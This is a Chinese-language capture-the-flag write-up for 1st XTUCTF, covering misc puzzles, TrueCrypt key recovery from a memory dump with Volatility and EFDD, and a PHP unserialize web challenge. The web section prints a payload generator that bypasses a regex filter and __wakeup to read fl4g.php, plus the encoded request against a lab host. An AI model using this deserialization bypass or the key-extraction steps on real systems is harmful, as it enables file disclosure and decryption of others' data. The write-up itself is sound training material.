1st XTUCTF部分Writeup

1st XTUCTF

  这次算是第一次在有限时间内完成ctf线上题,虽说题目很友好,但还是TCL,所以仅仅写出了misc题和一道web题,pwn和逆向题实在是不懂唉。

Misc

1.签到

1st XTUCTF部分Writeup_第1张图片
下载附件并打开,里面是一张数独题目和题目描述(描述同图)签到题应该不设卡,说啥就是啥吧。
1st XTUCTF部分Writeup_第2张图片         1st XTUCTF部分Writeup_第3张图片
数独求解器解数独并按照要求输入,转为32大写md5值,得flag
flag{9100E30EF4F15770951527852BABAE37}
(据说flag不唯一)

2.流量分析

1st XTUCTF部分Writeup_第4张图片
打开附件,看到里面有一个pcapng文件
了解pcapng文件后用Wireshark打开
1st XTUCTF部分Writeup_第5张图片
尝试http过滤,无内容
在这里插入图片描述
尝试tcp过滤,有内容
在这里插入图片描述在这里插入图片描述
右击追踪TCP流,尝试直接查找flag
1st XTUCTF部分Writeup_第6张图片
成功,往下查找的第二个即为题目flag
在这里插入图片描述

流量分析题后记

复现截图的时候多点了一下查找,震惊地发现居然还有三个flag
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
瞬间怀疑人生,不记得当时交的是不是第一个了,不过问题不大,做题的时候就算发现了四个都试一遍就行了。

3.打不开

1st XTUCTF部分Writeup_第7张图片
打开附件,里面两个文件在这里插入图片描述
打开 潘多拉的key.pdf ,里面是一道S盒求解2进制输出的问题
1st XTUCTF部分Writeup_第8张图片
求解过程还是比较简单的,步骤如下:
输入:101100
第一位和最后一位合成10,转换为十进制为2,对应“2”行
剩下0110转换为十进制为6,对应“6”列
则对照S盒输出十进制为7
转换为二进制为0111
则构造魔盒密码:P0an1do1r@1
用密码成功打开魔盒里面是两个jpg文件
1st XTUCTF部分Writeup_第9张图片
果断先扫二维码,咦扫不了,随手拿了一个正常的二维码进行比较,发现题目给的二维码黑白应该反转一下。上Stegsolve对二维码进行反转然后得到正确二维码
1st XTUCTF部分Writeup_第10张图片在这里插入图片描述
原路返回,瞬间抛弃这张二维码,转向另一张咕咕咕.jpg
直接打开失败,惯例先打开kali用binwalk跑一下,然而并没有隐写文件
用winhex打开咕咕咕.jpg,发现有个Exif
在这里插入图片描述在这里插入图片描述在这里插入图片描述
顺手打开另一张二维码的jpg文件比对,发现是JFIF
好的到这里由于知识的匮乏我又自己给自己挖坑了,接下来是我长时间纠结这个咕咕咕到底是个啥文件
回归正轨,了解到Exif储存的是照片拍摄设备的信息,于是我自己用手机拍了张照片(上面第三张)用winhex打开进行对比,好叭,原来正常的jpg文件前面也可以是Exif,再比对,发现最后问题其实在前三个字节,咕咕咕图片的前三个字节变成了00,00,00
在这里插入图片描述
然而正常的jpg应该是FF,D8,FF,修改后保存。(由于我的winhex说不能保存超过200k,这一步改到ultraedit上进行)
然后得到真正的图!
在这里插入图片描述
得到synt{v tbbq uhatel n}
ROT13解密得到:flag{i good hungry a}

4.取证

1st XTUCTF部分Writeup_第11张图片
下载附件以后打开,里面一共两个文件,vmem+另一个不知名文件在这里插入图片描述,这感觉莫名熟悉。
vmem文件是VMware下的虚拟内存文件,不出意外的话mem.vmem文件应该是suspicion文件主机的内存快照,记录了运行时的一些信息,那么显然这是一个内存取证问题。(这次没有跑偏真是太好了)
内存取证想到了曾经了解过的kali自带的内存取证神器volatility
打开kali尝试使用volatility提取mem.vmem的信息
使用volatility需要知道profile参数,所以先用imageinfo来获取profile参数值
1st XTUCTF部分Writeup_第12张图片
记录下有两个:WinXPSP2x86和WinXPSP3x86
猜是WinXPSP3x86
考虑到还有个suspicion在外边,先用userassist看看当时有哪些程序在运行
1st XTUCTF部分Writeup_第13张图片
利用查找看一下进程中有没有suspicion
1st XTUCTF部分Writeup_第14张图片
好吧显然不是这样搞,仔细看一下当时运行了哪些进程,然后发现了它!!!
在这里插入图片描述
一个名为TrueCrypt的进程!TrueCrypt是一款加密软件,那么我们就很容易能想到,suspicion应该是一个被TrueCrypt加密的文件。
要怎么破解TrueCrypt加密成了难题,直到我发现了EFDD(软件简介:Elcomsoft Forensic Disk Decryptor (EFDD) 需要原始的加密密钥来访问加密盘,但 EFDD 可以通过休眠文件或内存转储文件等变通的手段破译出 TrueCrypt 和 BitLocker 的容器密码,它将加密容器虚拟到虚拟盘后,就可以从虚拟磁盘的休眠文件或者内存转储文件中破译出密钥了,从而可以无限制地访问加密内容,对加密的磁盘、卷做完全的取证分析。——来自网络
下载打开EFDD
1st XTUCTF部分Writeup_第15张图片
在这里插入图片描述
1st XTUCTF部分Writeup_第16张图片
然后想要解密需要对应的key,EFDD要求我们提供一个key的来源,显然我们可以获取的来源是memory dump(内存转储文件)。suspicion是被Truecrypt加密的,那么key应该就在Truecrypt中,我们需要把Truecrypt文件dump出来。
先列出所有进程(pslist)获取Truecrypt的PIN
在这里插入图片描述
可以查到PIN为2012
在这里插入图片描述
使用memdump将其dump出来,可以看到对应dmp文件已经到了指定目录啦
在这里插入图片描述
再回到EFDD(路径不一样是因为EFDD不在kali上,把文件传过来了)
在这里插入图片描述
Key获取成功
在这里插入图片描述
点击mount后可以看到会出现一个磁盘(这里是H),里面就是解密结果啦
在这里插入图片描述在这里插入图片描述
文件名称显然就是flag了!终于拿到!
在这里插入图片描述

Web

1.unserialiaze

1st XTUCTF部分Writeup_第17张图片
题目给了提示,一个是unserialiaze函数,另一个是php反序列化,打开题目地址
看到如下php代码

file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

Demo是一个文件读取的类,在注释栏看到flag在fl4g.php中,需要通过__destruct()进入到fl4g.php,但是这边有个问题是unserialize() 函数调用时会先调用魔术方法__wakeup(),这就会导致读取文件的值发生改变,所以要使其失效。同时,代码中还存在一个正则匹配,需要绕过这个正则匹配。
先序列化看看

file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$essen = new Demo('fl4g.php');
$essen = serialize($essen);
echo $essen;
?>

在这里插入图片描述
首先要绕过正则匹配则在对象长度前加”+”,就是”0:4”改成”0:+4”。要使__wakeup失效的话改变对象属性个数,可以把对象属性个数”:1:”改成”:2:”,因为要构造请求所以再base64加密,代码如下

$essen = new Demo('fl4g.php');
$essen = serialize($essen);
$essen = str_replace('O:4', 'O:+4',$essen);
$essen = str_replace(':1:', ':2:' ,$essen);
echo base64_encode($essen);

得到
在这里插入图片描述
然后请求
172.24.255.44:8002/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
成功获得flag~

你可能感兴趣的:(ctf入门题)